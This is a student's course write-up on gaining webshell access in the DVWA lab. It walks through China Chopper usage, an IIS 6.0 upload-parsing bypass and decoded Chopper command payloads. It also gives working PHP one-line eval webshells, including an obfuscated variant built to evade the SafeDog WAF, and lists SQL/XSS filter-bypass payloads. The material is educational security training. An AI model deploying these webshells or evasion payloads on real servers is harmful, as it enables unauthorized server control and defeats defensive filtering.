2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限

————————CONTENTS————————


一.Webshell原理及简介

1.什么是WebShell

WebShell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是web的一个管理工具,可以对web服务器进行操作的权限,也叫WebAdmin。

WebShell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于WebShell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的WebShell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

WebShell根据脚本可分为:PHP脚本木马、ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。除此之外,还有用Python脚本语言写的动态网页,因此也有与之相关的WebShell。

根据功能可分为:大马和小马。小马通常指一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。而大马具有更强大的功能,例如查看并操作服务器端文件等。

2.WebShell的特点

WebShell后门文件具有隐蔽性强、功能强、危害大等特点。WebShell与正常的网页程序一样,通过HTTP或者HTTPS协议访问。由于使用与被控制服务器相同的web服务端口传输,因此不会被防火墙拦截。通过WebShell访问不会在系统日志中留下记录,只会在web网站的web日志中留下一些数据提交记录。高级的WebShell程序仅会在web日志中出现GET或者POST的操作,不会有具体的后门操作信息,因此较难发现,隐蔽性强。

目前,WebShell后门程序功能强大,除了文件操作和数据库操作之外,还可以提权,配合特定程序穿透内网,危害性较大。在通常情况下,通过WebShell可以实现读取数据库、导出数据库文件、查看服务器具有访问权限的所有文件等功能。在具有MySQL root账号、MSSQL sa账号等情况下,可以直接提升,获得操作系统权限,通过执行特定程序实现如中转、木马植入等功能。

返回目录


二.渗透工具简介

1.中国菜刀

“中国菜刀”的英文名为“chopper”,是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。同样地,攻击者可利用该工具进行一些WebShell操作,从而实现对服务器文件的控制。

中国菜刀支持的服务端脚本:PHP、ASP,主要用于连接一句话木马。主要功能有:文件管理(有足够的权限时候可以管理整个磁盘/文件系统),数据库管理,虚拟终端。当后门被上传到服务器端之后,只需要知道后门的具体位置和连接密码等相关信息,就可以执行脚本发起攻击。

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

点击“忽略此风险”,即可进入下载界面,在本地解压:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step2:双击“caidao”可执行文件打开软件,弹出界面如下所示:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

右击,在弹出的快捷菜单中选择“添加”命令,即可添加shell地址。如下图所示。

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

在“地址”文本框中输入一句话木马的shell地址,在“地址”文本框后面的文本框中输入一句话木马的连接密码,在“配置”区域选择脚本类型(程序会自动识别脚本类型),最后点击“添加”按钮,完成添加:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step3:双击刚刚添加的shell的地址,即可连接该后门。如果后门执行成功,则会显示网站的目录结构和文件等信息,如下图所示:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

可以看到,目标服务器端的目录结构、文件名称、时间、大小以及读取权限都一览无余了......

  • Step4:除了可以获取文件信息之外,在文件处右击还有更多针对文件的可供选择的操作:删除、复制、重命名、修改文件夹时间、新建等等。其中,攻击者可以利用“上传文件”功能将更多大马传到服务器,完成更多的渗透攻击。

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

功能好强大!那怎样做才能查看甚至操作服务器端的文件呢?在后面的实战中再详细介绍~

返回目录

2.御剑后台扫描工具

御剑后台扫描工具是为众多从事网络工作并担任网络安全管理职位的人制作的一款后台安全扫描工具,它能帮助实时监控后台文件的安全性,防御网站风险,为网站的正常运作提供最大的保障。但另一方面,御剑扫描枚举可能的后台路径这一行为,也为攻击者爆库和利用漏洞进入后台提供了便利。

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step2:双击“御剑后台扫描工具”可执行文件打开软件,弹出界面如下所示:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

在“域名”输入框中填入要扫描的后台地址,在下方可对扫描线程以及扫描时间进行设置。设置完毕,点击“开始扫描”即可开始扫描。

这个工具到底有什么用呢?我们一起来试试看...

找来一个网站进行练习:http://demo.testfire.net/【这是一个真实的网站环境,但专门用于模拟渗透测试,所以不用担心被请喝茶喔】

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

在“域名”输入网址http://demo.testfire.net/,开始扫描。扫描结果如下:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

HTTP响应值为200,代表页面可以访问。点击这个链接http://demo.testfire.net/admin/login.aspx,进入了后台管理的界面:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

得到了这个界面,就可以进行下一步渗透测试啦~

返回目录


三.web应用程序配置

有很多有漏洞的应用程序,我们可以用来以学习为目的练习渗透测试。下面是一些应用程序:

Damn Vulnerable Web Applications (DVWA): 基于PHP, Apache以及MySQL,需要安装到本地。

OWASP WebGoat: J2EE web 应用程序,需要在本地运行。

Hack This Site:在线学习渗透测试的网站。

Testfire: 在线学习渗透测试的网站。

下面,我们将学习如何在虚拟机中安装有漏洞的运行程序。在这个练习中,我们将配置Damn Vulnerable Web Application (DVWA)。这个应用程序有若干基于web的漏洞,比如跨站脚本 (XSS), SQL注入, CSRF,命令注入等。

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

安装并运行web服务器的步骤如下:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

先双击“xampp_start”启动:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

再双击“xampp-control”打开xampp的控制面板。点击“start”开启Apache和MySQL的服务:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step4:在http://www.dvwa.co.uk/下载DVWA应用程序,解压到一个新的文件夹里,命名为“dvwa”。

  • Step5:打开“C:\xampp\htdocs”文件夹,把该文件夹里的内容移动到另外一个地方。把“dvwa”文件夹拷贝到C:\xampp\htdocs目录下。

  • Step6:在浏览器的地址栏中输入http://127.0.0.1/dvwa/login.php,会出现“Database Setup”数据库设置界面:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step7:到“C:\xampp\htdocs\dvwa\config”文件夹下,用记事本打开“config.inc”文件,移除“db_password”的值:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

  • Step8:回到浏览器,刷新页面,会显示一个登录页面。输入默认的用户名和口令如“admin/password”,登录应用程序:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

至此,我们成功配置了一个web服务器并在其上安装了一个应用程序。接下来就可以访问http://127.0.0.1/dvwa/login.php开始攻击练习了。

返回目录


四.练习:利用DVWA文件上传漏洞获取WebShell权限

攻击原理:web容器的解析漏洞,以及配合解析漏洞上传木马。

下面以最简单的一句话木马为例,进行测试:

使用用户名admin和密码password登录DVWA,在左侧选择“File Upload”。

编写一句话测试脚本OneCode.php,内容为:

<?php
@eval($_POST['apple']);
?>

浏览并选择此木马文件:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

点击“Upload”,却发现上传失败了:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

提示Your image was not uploaded. We can only accept JPEG or PNG images.,emmmmmmm...看来为了避免木马脚本的攻击,服务器对上传文件格式进行了限制。

我们按照要求,上传一个正常的“JPEG or PNG images”试试看:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

成功了。那么作为攻击者的我们,就应该考虑:如果将木马文件重命名为图片文件,是否可以上传呢?

实践证明,这种思路是可以完成上传的。但上传并不是我们的最终目的,图片格式的木马并不利于我们进一步执行脚本。还有没有其他的思路呢?使其既能上传,也能执行呢?

查阅资料了解到,DVWA网站服务器使用的是IIS 6.0的web容器。而IIS6.0有一个很著名的漏洞:文件解析漏洞

如何利用IIS 6.0的解析漏洞呢?

IIS 6.0解析利用方法有两种

  • 目录解析:

/xx.asp/xx.jpg

在网站下建立文件夹的名字为.asp.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

如果创建目录 wooyun.asp,那么/wooyun.asp/1.jpg将被当作asp文件来执行。假设攻击者可以控制上传文件夹路径,不管上传后的图片改不改名,就都能拿shell了。

  • 文件解析:

wooyun.asp;.jpg

在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg会被服务器看成是wooyun.asp

根据上面的解释,在这里,我们将一句话测试脚本OneCode.php重命名为OneCode.php;.jpg再次尝试上传:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

点击“Upload”,成功上传:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

同时我们可以看到给出了脚本所在的相对路径:../../hackable/uploads/OneCode.php;.jpg

一句话木马通常与需要与一句话木马相应的客户端同时使用,才能实现对服务器的控制。这时候就需要用到我们之前提到的“中国菜刀”工具了。

下面尝试连接这个一句话木马。

打开菜刀工具,添加一个shell,其中地址可根据给出的相对路径得到:http://192.168.130.132/dvwa/hackable/uploads/OneCode.php;.jpg,后面的连接密码填脚本中写的“apple”,脚本类型为“PHP(Eval)”,添加。

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

双击这个shell,成功获取到了服务器端的全部文件:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

在某些情况下,服务器对上传文件大小会有限制,因此攻击者往往选择先上传比较小的一句话木马,使用菜刀工具成功连接后再在菜刀工具中上传更大的木马,以实现对服务器端全面的控制。

至此,我们就成功利用DVWA文件上传漏洞获取到了WebShell权限。

返回目录


五.中国菜刀原理剖析

在上面的实践中,我们亲身体会到了“中国菜刀”工具的强大之处。那么它是如何进行通信的呢?如何借助已上传的一句话木马实现目录显示、文件上传和模拟虚拟终端等功能的呢?

1.目录显示

中国菜刀提供了非常方便的文件管理功能,新建连接,双击打开连接后,即可看到服务器端文件目录的界面:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

接下来我们检查一下中国菜刀的通讯网络流量,通过抓包软件分析器服务器和客户端的通讯情况,如下图所示,可以看出客户端在80端口上,以HTTP POST方式通讯:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

利用抓包软件Wireshark的“跟踪流”功能可以看到整个TCP数据交互过程。如下图所示,上面红色部分为攻击者POST提交控制命令的内容,下面蓝色部分为被控端返回结果:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

我们将关注点放在攻击者控制代码部分,打开这个包:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

可见攻击者为了防止特殊字符传输失败的异常,代码经过了Base64编码。内容为:

apple=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXDIwMTU1MzAzXFw%3D

最前面的部分为经过url编码的数据,解码之后为:apple=@eval(base64_decode($_POST[z0]));,意为将z0数据以POST的方式提交,并使用Base64解码,最后再解析为脚本执行。

接下来我们看看z0代表的参数的值。将“&z0=”后面的部分解码并格式化,结果为:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("|<-");;
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
{
echo("ERROR:// Path Not Found Or No Permission!");
}
else{
$M=NULL;
$L=NULL;
while($N=@readdir($F))
{
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t"$E."";
if(@is_dir($P))
$M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
};
echo("|<-");
die();
&z1=C:\\20155303\\

通过查询手册,具体分析关键函数及参数的含义:

  1. @ini_set("display_errors","0");临时关闭PHP的错误显示功能;
  2. @set_time_limit(0);防止上传文件大马时,会产生超时;
  3. @set_magic_quotes_runtime(0);magic_quotes_runtime 是php.ini里的环境配置变量,0和false表示关闭本功能,1和true表示打开本功能。当magic_quotes_runtime打开时,所有外部引入的数据库资料或者文件等都会自动转为含有反斜线溢出;
  4. echo("|<-");一个简单的打印;
  5. $D=base64_decode($_POST["z1"]);设置变量D为目录句柄,内容为POST提交的z1。z1参数的具体值在最后面进行了说明:&z1=C:\\20155303\\
  6. $F=@opendir($D); opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 "@" 来隐藏 error 的输出;
  7. $N=@readdir($F) readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false;
  8. $P=$D."/".$N;返回目录下的所有文件;
  9. $T=@date("Y-m-d H:i:s",@filemtime($P));返回该目录或文件的时间;
  10. @$E=substr(base_convert(@fileperms($P),10,8),-4);以数字方式显示文件或目录的权限,其中fileperms() 函数返回文件或目录的权限,base_convert() 函数在任意进制之间转换数字;
  11. $R="\t".$T."\t".@filesize($P)."\t"$E."";返回指定文件大小的字节数。

从代码可以清楚地看出,在接收z1=C:\\20155303\\这个参数后,代码打开指定目录的句柄,然后进行循环扫描,并附带上权限、时间、大小、日期这四个参数,用\t制表符拼在一起捆绑发送回客户端。到客户端之后,再用string_split之类的函数分开来,循环一一显示在UI上。

执行完这些脚本代码之后,就完成了目录显示的功能。

2.文件上传

接下来看看获取WebShell最重要的功能——上传文件,这是下一步渗透攻击的基础。首先上传一张图片:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

这次wireshark抓到了两组对话,基本内容大概可以猜到了,一个是上传文件,一个是刷新并显示目录。我们先来分析第一个包:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

数据部分为:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==

解码之后的结果为:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
&z1=C:\\final\\4ṇ.png

后面&z2=...部分是所传图片以十六进制方式显示的结果。

这段代码最关键的部分是最后的fwrite()函数,也就是将我们指定的装满数据的缓冲区写入指定的路径中。只要Apache用户在当前目录下有写权限,PHP脚本调用windows API时就可以完成写操作,也就是文件上传。

刚才提到文件上传过程中,客户端与服务器进行了两次交互。我们再来看看第二个数据包中的内容:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

解码之后的内容为:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

可以看出,跟我们之前分析过的“显示目录”部分的脚本代码大同小异。这部分代码功能就是在上传文件之后,对文件目录进行刷新,显示出刚刚上传的文件。

3.虚拟终端

这个功能更加神奇了,效果跟我们攻击成功获得的cmd shell一样:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

我们试着分析一下它的原理。先运行一个dir命令,抓包如下:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

同样地将数据部分解码,得到:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"
&z1=cmd
&z2=cd /d "C:\xampp\htdocs\dvwa\hackable\uploads\"&dir&echo [S]&cd&echo [E]

查找手册,看看关键函数如何使用:

  1. dirname()返回路径中的目录部分;
  2. $_SERVER["SCRIPT_FILENAME"]当前执行脚本的绝对路径,获取后供dir命令等使用;
  3. substr()返回字符串的一部分;
  4. $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";这是一段正则表达式,用捕获分组获得字符串中的参数,这里也就是 cd /d C:\xampp\htdocs\dvwa\hackable\uploads\、 dir、 echo、 cd、 echo。
  5. @system($r." 2>&1",$ret);本函数就像是C中的函数system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中;

也就是说,我们指定的命令会传入system函数中执行,并输出结果。

返回目录


六.浅析如何绕过WAF

前面学习了一些常见WebShell渗透工具的工作机制,但都是基于没有防火墙的网站,这显然不符合真实的场景。因此,掌握绕过各类WAF可以说是渗透测试人员的一项基本技能。

目前市场上的WAF主要有以下几类:

  • 以安全狗为代表的基于软件WAF
  • 百度加速乐、安全宝等部署在云端的WAF
  • 硬件WAF

考虑到实际情况,我们主要针对安全狗绕过进行简要分析。

安全狗官网下载软件并安装,注意区分IIS版和Apache版。

安装之后,对网站文件目录进行扫描。这里我们直接扫描已经上传过大马和小马的环境,结果如下:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

可以看出,安全狗成功检测出了网站存在的大马和小马。那么,如何绕过WAF上传木马呢?

1.大小写转换法:

在某些WAF中,使用的正则存在缺陷,比如没有使用大小写转换函数,因此可根据这个漏洞编写大马或小马,如:

SQL:sEleCt vERsIoN();
‍‍XSS:<sCrIpt>alert(1)</script>

2.字符编码法:

常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等等。

可以通过利用浏览器上的进制转换或语言编码规则来绕过WAF,如:

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

3.字符拼凑法:

如果过滤了某些字符串,我们可以在他们两边加上“原有字符串”的一部分。

在这里利用了WAF的不完整性,只验证一次字符串,或过滤的字符串并不完整,如:

SQL:selselectect verversionsion();
‍‍‍‍XSS:<scr<script>rip>alalertert</scr</script>rip>

4.关键字替换法:

部分WAF是通过黑名单来起到拦截的作用的,将某些函数放入黑名单,从而实现拦截。这种情况下,可以使用关键字替代来实现绕过。

比如在MySQL中,WAF将sleep()函数列入黑名单,可以通过具备相同功能的benchmark()函数来实现绕过。下面列举了一些功能相同的替代函数:

< > 等价于 BETWEEN

= 等价于 like

Hex() bin() 等价于ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

5.空白符绕过法

基于正则表达式的WAF,SQL诸如规则使用正则表达式的“\s”匹配空格,例如:select\s+union

利用空白字符进行绕过,例如union select被拦截,只需要把中间空白字符替换为%250C%25A0等进行绕过。

union%250Cselect
union%25A0select

再比如我们前面提到的一句话木马:

<?php
@eval($_POST['apple']);
?>

在一开始就会被拦截:

2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

要想绕过WAF,我们要做的就是对一句话木马进行变形,不外乎就是拆分替换、反序列化、动态函数(比如$_GET['function']($_POST['Cknife']);)使用回调函数(比如usortarray_map)、使用匿名函数、使用特定函数(比如create_functionasset)等等。

我们首先尝试使用匿名函数,用create_function创建了一个匿名函数chopper,用它来代替eval。如下为代码变形后的一句话木马:

<?php
$chopper = create_function('$a', 'eval($a);');
$chopper($_POST['chopper']);
?>

仍然会被安全狗检测出来,这是因为构造的匿名函数$chopper中也包含了eval关键词,所以被查杀。

再使用拆分法,把eval拆分为eval,再在有引号的参数前面加入stripslashes函数去除转移符号,即修改为:

<?php

$chopper = create_function('$a', 'ev'.'al($a);');

$chopper(stripslashes($_POST['chopper']));

?>

再次提交并尝试连接,就可以成功啦~

总之,绕过WAF就是不停尝试WAF的检测规则,由于WAF不能对正常的文件进行拦截,若过滤规则过于严格,会对网站正常访问产生影响。作为攻击者,就需要找到检测规则的漏洞,既能绕过WAF,又能实现代码本来的攻击功能。

返回目录


写在最后:WebShell实践总结及本学期学习感想

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。WebShell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

在本次实践中,我了解了WebShell相关的知识,学习了大马小马的编写方式,还尝试使用了获取WebShell的常用工具,并对其实现机理进行了深入分析,最后上述基础上,搭建网站,部署WAF,并学习了绕过WAF的几种方式。整体来看,如何通过WebShell完成一次成功的攻击,这个脉络还是比较清晰的。入手点以及需要考虑的问题主要有以下几个:****第一,木马如何编写?在渗透之前,首先要明白自己目的何在。上传大马还是小马?是显示后台目录还是执行某些命令?一些网站会对上传文件的大小进行限制,这就需要先上传简单的一句话木马,再通过工具上传更大的木马了。第二,如何上传木马?出于安全性考虑,一般网站并不允许上传一些疑似木马的文件,这就需要寻找存在的漏洞进行上传。针对IIS 6.0而言,我们可以利用文件解析漏洞实现上传。第三,上传之后,如何控制我们上传的脚本文件,让其完成功能?如果已经上传了大马,直接访问大马的脚本网页即可;如果是一句话木马,就需要先使用中国菜刀等工具进行连接,再进行后续操作。连接时还需要考虑,如何绕过WAF呢?把以上三个步骤都实现了,控制网站服务器的目的也就达成了。

为什么当时会选择免考呢?跟其他课程不同,《网络对抗技术》这门课从开始到结束都是以实践贯穿的,无论是逆向破解、后门、免杀,还是MSF使用、网络欺诈等等,都是在不断动手动手动手动手动手动手动手的过程中掌握知识的。所以哈,虽然每次实验都做得很舒服很带感很刺激,但如果期末以卷面形式考,还真跟平时实践不是一种感觉呢......善始善终吧,多么有趣的一门课,那就以一个有趣的实践,而不是枯燥的卷面考试,来为一学期的努力画上句号咯。

为什么要选WebShell这个主题?emmmmmmmmm...WebShell这个方向,在九次实验中并没有涉及,其实本来打算深化其中一个实验的内容的,但在刘老师的建(song)议(yong)之下,凭着自己对未知的兴趣,就勇敢地来尝试新鲜事物啦!在实践的过程中还是走了不少弯路的,艰苦卓绝的自学之旅从图书馆借书开始。一边读一边查一边试,渐渐摸出了门路,知道了渗透的基本流程是怎样的。但刚开始也仅仅局限于科普的程度而已。之后每学会一点完成一点,就去向刘老师请教并探讨进一步的方向,非常感谢老师不厌其烦的讲解和启发!!!从环境的正确搭建,到对工具原理的深入剖析,在“提问——思考——动手——领悟——再提问”这个循环中,渐渐对这个实践主题有了更加深刻的理解。

总之,为期五个月的,以实践贯穿始终的『网络对抗技术』课程就告一段落啦。九个实验+期末免考项目,这门课程带给了我不一样的体会。以前听娄老师课的时候,总有同学抱怨老师上课讲的少,可能还是没有适应这种动手的学习方式吧,总寄希望于按照PPT背诵期末拿高分。但对于这门课,不动手就无法拿到一丁点分数。老师能布置一些有趣的实验调动同学们的积极性,改变对“动手”的抵触心理,实在是难能可贵~希望在今后的学习中,能不忘初心,不忘专业对我们的要求,继续锻炼实践能力,在信息安全这条道路上越走越远吧!

返回目录


附:参考资料

上一篇:获取webshell的十种方法


下一篇:iOS开发-用预处理指令代替注释